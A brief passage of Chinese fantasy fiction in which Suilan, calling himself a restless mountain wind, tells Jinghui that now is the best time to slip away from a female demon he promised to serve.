他自嘲地笑笑:“我乃山中无定之风,岂能停留在一个地方呢?” 景洄脸上白一阵红一阵,顿时被堵得说不出话了。 他也想不出什么话来阻止他,只好道: “你不是答应了那个女妖怪,要听她吩咐,任她差遣吗?万一她发现了……” 随岚朝他挤挤眼:“所以此刻,就是最好的时机啊。”